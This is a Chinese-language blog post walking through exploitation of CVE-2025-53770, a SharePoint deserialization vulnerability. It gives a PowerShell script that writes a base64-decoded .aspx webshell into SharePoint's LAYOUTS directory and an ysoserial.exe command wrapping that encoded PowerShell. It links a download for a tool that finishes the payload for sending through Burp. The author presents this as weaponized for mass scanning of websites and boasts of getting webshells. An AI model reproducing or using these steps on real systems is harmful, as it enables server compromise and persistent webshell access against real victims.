前言
最近几天关于CVE-2025-53770 反序列化漏洞在各个公众号群里面讨论。包括在飞机群里面也说这个漏洞可谓是很火。飞机群里面说的是这个漏洞单纯使用ysoserial.exe 生成利用不太可能确实是这样的。里面还包含 xml等。所以这就给实战工作带来了很大困扰。我们知道既然是反序列化漏洞我们必须遵守反序列化的规则既然不能直接生成exp我们可以间接生成exp。通过我在youtube 发布的视频可以知道视频地址
https://www.youtube.com/watch?v=gITPNrJpZmE
要想间接的搞必须要在字节方面下功夫所以我研究了一下最终写出了利用步骤。文章大概说一下。具体去youtube看视频就行了。我大概分为三步进行间接利用。在不破坏原来反序列化的结构从字节方面分析利用过程。不懂的看youtube视频教程。
(1)如何生成powershell利用程序
# 将脚本内容放入变量中
$script = @'
$base64String = "aaaa"
$destinationFile = "C:\PROGRA~1\COMMON~1\MICROS~1\WEBSER~1\16\TEMPLATE\LAYOUTS\ddd.aspx"
$decodedBytes = [System.Convert]::FromBase64String($base64String)
$decodedContent = [System.Text.Encoding]::UTF8.GetString($decodedBytes)
$decodedContent | Set-Content -Path $destinationFile -ErrorAction Stop
'@
# 将脚本内容编码为 Base64
$bytes = [System.Text.Encoding]::Unicode.GetBytes($script)
$base64Command = [Convert]::ToBase64String($bytes)
# 输出编码后的 Base64 字符串
$base64Command
上面替换成你自己的文件内容和文件名称。其中文件名称需要遵循
文件名称:必须10个字符
文件内容: 754个字符
具体截图如下:$base64String 必须是754个字符。构造好了以后编码以后。自己再次解码。看看解码以后是否是754个字符。另外文件名称也必须是10个。因为我们是套壳别人的东西所以要遵守规则。
使用powershell 生成 yso 所需要的exp
powershell -ExecutionPolicy Bypass -File 1.ps1
测试一下。完成第一步exp构造
(2)如何使用ysoserial.exe 生成利用代码
使用github最新版本生成exp:
ysoserial.exe -o base64 -g 利用链 -f 格式 -c “powershell -EncodedCommand 第一步生成的base64
我们看到生成的exp以/wEywC0AAQAA开头。
(3)如何把yso生成的base64数据变成exp呢
这里涉及到了二进制操作我们可以替换二进制。具体比较复杂我直接写了个利用工具。直接把第二步生成的放到payload.txt里面然后运行工具自动构造exp。
下载地址:https://github.com/peiqiF4ck/WebFrameworkTools-5.5-enhance/releases/tag/CVE-2025-53770exptools
构造出来以后直接放到burp里面利用就行了。至于返回结果有的是200有的是302。主要是看文件生成没有。最终效果
至于exp里面的MSOTlPn_Uri=http%3A%2F%2Fwww.itsc.org 的url可以换成目标的可以原来的不影响直接打就行了
直接上webshell了
武器化
我们直接武器化了。如下图我估计我们是除了漏洞发现者和首次利用者。我们算比较快的直接上webshell的了同时应该也是这个漏洞出来实战比较成功的
直接集成到我们的webframeworktools 工具此工具之前已经测试可以跑几百万甚至上千万网站。对源码感兴趣的请看github 频道。只有5.3版本的其他版本的代码暂时不出。以后分享在youtube 和github优先博客次之。频道更次之。不会不懂得看视频教程吧。
现在最新版本5.5 增强版本增加 端口扫描 目录扫描 指纹识别 webtitle识别等四个模块。具体看youtube视频吧。